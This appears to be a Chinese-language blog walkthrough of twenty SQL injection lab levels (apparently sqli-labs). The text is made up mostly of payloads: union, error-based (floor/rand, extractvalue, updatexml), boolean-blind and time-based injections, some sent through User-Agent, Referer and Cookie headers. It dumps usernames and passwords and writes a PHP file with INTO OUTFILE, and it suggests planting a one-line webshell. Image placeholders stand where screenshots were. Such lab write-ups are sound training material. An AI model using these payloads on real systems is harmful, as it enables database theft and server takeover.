目录

lesson 1  单引号,字符型注入

lesson2  单引号,数字型注入

lesson3  单引号、括号、字符型注入

lesson4  双引号,字符型注入

lesson5  单引号,group by报错注入

lesson6  双引号,group by报错注入

lesson7  读写文件

lesson8  布尔盲注

lesson9  单引号,延时注入

lesson10  双引号,延时注入

lesson11  单引号,联合查询注入

lesson 12  双引号,括号,联合查询注入

lesson 13  单引号,group by报错注入

lesson 14  双引号,group by报错注入

lesson 15  单引号,延时注入

lesson 16  双引号,括号,延时注入

lesson 17  xpath报错注入

lesson 18  user-agent注入

lesson 19  referer注入

lesson 20  cookie注入


废话少说,直接开始!!

lesson 1  单引号,字符型注入

判断是否存在sql注入漏洞

先在原url后加?id=1,发现页面有回显后,将id=1改为id=2发现同样有回显且回显页面不同

mysql报错没有那个文件夹或目录_web安全

mysql报错没有那个文件夹或目录_database_02

在?id=2后加一个单引号,页面报错,可初步推断有sql注入漏洞

mysql报错没有那个文件夹或目录_web安全_03

报错内容分析

mysql报错没有那个文件夹或目录_数据库_04

判断为字符型注入,并且给id值+1/-1页面有回显,先考虑使用联合查询方式进行注入

判断表的列数(使用联合查询时,两张表的列数必须相同)

order by,不断尝试得出正确的列数(错误值页面有下图所示报错,正确值页面回显正常)

mysql报错没有那个文件夹或目录_database_05

mysql报错没有那个文件夹或目录_database_06

原理分析

mysql报错没有那个文件夹或目录_database_07

联合查询

将2改为-2,或在后添加and 1 = 2,目的是让之前的语句作废,只执行union slect语句

下图所示,2和3处有回显,然后更改2,3处的语句,让页面回显出我们想要的东西

mysql报错没有那个文件夹或目录_database_08

更改2为user()让页面返回用户名,更改3为database()让页面返回当前数据库名,也可改为其他的

mysql报错没有那个文件夹或目录_web安全_09

获取信息(利用元数据库)

查所有数据库

union select 1,2,group_concat(schema_name)  from information_schema.schemata --+

查看数据库中的所有表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+

mysql报错没有那个文件夹或目录_数据库_10

查看表中的字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_name = xxx --+

查询users表中的字段

mysql报错没有那个文件夹或目录_web安全_11

查值

union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

用 - 将username和password分开,并分组查询

mysql报错没有那个文件夹或目录_database_12

lesson2  单引号,数字型注入

这一关与上一关都需要使用联合查询方式进行注入

通过加单引号报错,得到如下结果

mysql报错没有那个文件夹或目录_database_13

所使用语句与lesson 1一致,只是lesson2中无需添加单引号使其闭合

mysql报错没有那个文件夹或目录_database_14

lesson3  单引号、括号、字符型注入

加单引号报错,得到如下结果

mysql报错没有那个文件夹或目录_sql_15

判断表的列数

mysql报错没有那个文件夹或目录_web安全_16

原理分析

mysql报错没有那个文件夹或目录_web安全_17

所使用的语句与前两关一致,都使用联合查询方式注入,需要注意要添加 ') 让语句闭合

lesson4  双引号,字符型注入

加双引号报错,得到如下结果

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_18

判断表的列数

mysql报错没有那个文件夹或目录_数据库_19

原理分析

mysql报错没有那个文件夹或目录_sql_20

所使用的语句与前三关一致,都使用联合查询方式注入,需要注意要添加 ") 让语句闭合

lesson5  单引号,group by报错注入

输入?id=1时,页面回显如此(并未返回数据库信息,所以不能使用联合查询)

mysql报错没有那个文件夹或目录_sql_21

在?id=1后加一个单引号,发现页面有报错,尝试使用报错注入,如下图所示

mysql报错没有那个文件夹或目录_database_22

获取数据库名

Union select 1,count(*),concat(database(),'/',floor(rand(0)*2))x from information_schema.columns group by x --+

mysql报错没有那个文件夹或目录_sql_23

获取表名

Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'/',floor(rand(0)*2))x from information_schema.columns group by x --+

mysql报错没有那个文件夹或目录_web安全_24

获取表中的字段

Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'/',floor(rand(0)*2))x from information_schema.columns group by x;--+

mysql报错没有那个文件夹或目录_web安全_25

获取数据

Union select 1,count(*),concat((select password from users limit 0,1),'/',floor(rand(0)*2))x from information_schema.columns group by x;--+

mysql报错没有那个文件夹或目录_web安全_26

lesson6  双引号,group by报错注入

第六关和第五关类似,页面无回显信息,输入双引号触发报错,考虑采用报错注入

mysql报错没有那个文件夹或目录_database_27

所用语句与第五关相同,只不过要注意需要输入双引号才能触发报错

lesson7  读写文件

先输入?id=1,页面回显提示我们需要 use outfile

mysql报错没有那个文件夹或目录_database_28

读写文件的前提条件

1、secure-file-priv,在MySQL-->myini中的mysqld下添加secure-file-priv=

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_29

secure-file-priv=                       //不对导入导出做限制

secure-file-priv='c:/123/'           //限制导入导出发生在'c:/123/'下

secure-file-priv=null                  //不允许导入导出操作

2、当前用户具有文件权限

3、知道写入文件的绝对路径

接下来,尝试写入文件 ?id=1')) union select 1,2,3 into outfile 'C:\\phpStudy\\PHPTutorial\\1.php' --+

mysql报错没有那个文件夹或目录_web安全_30

执行后,页面仍有报错,但是该路径下已经生成了一个php文件

可以尝试写一个一句话木马,并用中国菜刀连接,好了,这一关就先说到这

lesson8  布尔盲注

输入id后页面没有回显数据库信息,加引号也没有报错

加上and 1 = 1页面回显正常,加上and 1 = 2页面回显错误,则可能存在布尔类型状态的注入漏洞,尝试采用布尔盲注

mysql报错没有那个文件夹或目录_sql_31

mysql报错没有那个文件夹或目录_sql_32

判断数据库长度

?id=1' and length(database())  < 5--+    //输入正确时页面有回显,错误时没有回显,以此判断数据库长度

mysql报错没有那个文件夹或目录_database_33

mysql报错没有那个文件夹或目录_sql_34

判断数据库名称

?id=1' and substr(database(),1,1) = 's' --+        //表示将数据库名称转为字符串,从第一个字符开始取,取一个,是不是 s,若是,则回显正常,若不是,则没有回显,以此判断出数据库字符串名称,也可以将其转化成ascii码

?id=1' and ascii(substr(database(),1,1)) > 88 --+

mysql报错没有那个文件夹或目录_database_35

判断表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 1 --+

然后在接着操作······

lesson9  单引号,延时注入

输入id后页面没有回显数据库信息,加引号也没有报错,且and 1 = 1和and 1 = 2没有作用

在后面输入and sleep(5),发现页面延时五秒回显,则尝试采用延时注入

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_36

延时注入与布尔盲注payload相似

获取数据库长度

?id=1' and If(length(database()) > 5,sleep(5),1) --+         //若长度大于5,则页面延时五秒回显,若不大于5,直接回显

获取数据库名称

?id=1' and If(ascii(substr(database(),1,1)) > 90,sleep(5),1) --+   //若第一个字母的ascii值大于90,延时五秒回显,否则直接回显

获取表名、字段名、数据与之类似

lesson10  双引号,延时注入

与第九关相同,只是需要加 " 进行闭合,剩下的与第九关相同

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_37

lesson11  单引号,联合查询注入

这一关开始到本文结束都是post注入的手注方法,可以查看另一篇文章sqlmap之post注入

先查看一下源码

mysql报错没有那个文件夹或目录_web安全_38

输入 username:admin password:admin

mysql报错没有那个文件夹或目录_数据库_39

mysql报错没有那个文件夹或目录_database_40

用order by得出列数,然后用联合查询,此处的uname=1即找一个不是用户名的值来触发报错,与前几关的id=-1意思相同

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_41

接下来就和第一关一样了,用hackbar的post data,# 就是注释,和之前的--+一样

mysql报错没有那个文件夹或目录_数据库_42

查数据库

uname=1' union select 1,group_concat(schema_name)  from information_schema.schemata #&passwd=admin

查表

uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #&passwd=admin

mysql报错没有那个文件夹或目录_数据库_43

查字段

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name = xxx #&passwd=admin

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_44

查值

uname=1' union select 1,group_concat(concat_ws('-',username,password)) from security.users #&passwd=admin

mysql报错没有那个文件夹或目录_数据库_45

lesson 12  双引号,括号,联合查询注入

这一关我们不查看源码了,来看看不看源码应该怎么猜

输入 username:admin' password:admin 发现页面没有报错,猜测可能单引号不能触发报错,尝试一下双引号

发现触发了报错,查看报错信息得知需要用双引号+括号来闭合

mysql报错没有那个文件夹或目录_web安全_46

那我们这一关也不使用hackbar了,直接在原输入框中输入构造的语句

mysql报错没有那个文件夹或目录_database_47

发现同样是可以的,当然了哈哈哈,接下来的操作就和11关一样了

lesson 13  单引号,group by报错注入

这一关输入username:admin password:admin,页面是没有数据回显的,也就是说我们没法在使用联合查询了,接下来就看有没有报错,有报错的话首选报错注入,毕竟要按成本高低选择先后

mysql报错没有那个文件夹或目录_数据库_48

闭合方式通过查看源码得知,然后可以使用第5关用过的语句,忘记的同学可以回看一下

查看数据库

uname=1') union select count(*),concat(database(),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

mysql报错没有那个文件夹或目录_sql_49

查表

uname=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

查字段

uname=1') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

查值

uname=1') union select count(*),concat((select password from users limit 0,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

lesson 14  双引号,group by报错注入

这一关同样没有页面数据回显,但有报错

查看源码,得知需要用双引号闭合,payload与上一关相同

需要把闭合方式改为 " ,即 uname=1" ······

lesson 15  单引号,延时注入

这一关既没有了数据信息的回显,也没有了报错信息的回显,那么接下来考虑一下延时注入

没有问题,延时了5秒

mysql报错没有那个文件夹或目录_sql_50

判断数据库长度

admin' and If(length(database()) > 5,sleep(5),1) #   //若长度大于5,则页面延时五秒回显,若不大于5,直接回显

获取数据库名称

admin' and If(ascii(substr(database(),1,1)) > 90,sleep(5),1) # //若第一个字母的ascii值大于90,延时五秒回显,否则直接回显

获取表名、字段名、数据与之类似

lesson 16  双引号,括号,延时注入

延时注入

双引号+括号闭合,即 admin") and sleep(5) #,操作与上一关相同

lesson 17  xpath报错注入

重置密码

发现在 new password处添加引号时会报错

mysql报错没有那个文件夹或目录_sql_51

接下来尝试在此处使用报错注入,经过尝试发现xpath报错可以

uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e))#

mysql报错没有那个文件夹或目录_数据库_52

查表

uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#

查字段

uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))#

其他类似

lesson 18  user-agent注入

这一关提示是user-agent报错,所以可以上BurpSuite了

mysql报错没有那个文件夹或目录_web安全_53

点击submit时抓包查看,并将截取到的数据包发送至reapeater

mysql报错没有那个文件夹或目录_database_54

添加单引号触发报错,在Response处单击Render可以看到页面效果

有报错信息,那么久一鼓作气使用语句搞完吧

先得到数据库

' ,1,or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

mysql报错没有那个文件夹或目录_web安全_55

 得到数据库中的表

mysql报错没有那个文件夹或目录_database_56

数据库中表超过1,要使用limit构造语句

',1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e),1))#

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_57

查字段

',1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e),1))#

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_58

 查数据

',1,updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1))#

mysql报错没有那个文件夹或目录_sql_59

ok,这样的话就结束了

lesson 19  referer注入

和刚才一样的操作,先用BurpSuite抓包,在referer处加单引号,触发报错

mysql报错没有那个文件夹或目录_数据库_60

在上一关的基础上构造语句

mysql报错没有那个文件夹或目录_sql_61

 剩下的就是基本操作了,与上一关的语句大同小异

lesson 20  cookie注入

先看看20关吧,这一关提示是cookie注入

放过第一个包,将第二个包发送至reapeater 

mysql报错没有那个文件夹或目录_数据库_62

在cookie后加上单引号,触发页面报错

mysql报错没有那个文件夹或目录_数据库_63

并且页面又回显,或许可以使用联合查询来注入 

mysql报错没有那个文件夹或目录_database_64

先判断有几列吧

mysql报错没有那个文件夹或目录_sql_65

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_66

 通过对比可以确定列数为3,接下来判断回显点

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_67

2和3貌似都是,验证一下

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_68

 所以,没问题了,可以使用联合查询的语句,好了剩下的不在演示,可以移步第一关复制语句 

mysql报错没有那个文件夹或目录_mysql报错没有那个文件夹或目录_69

over!!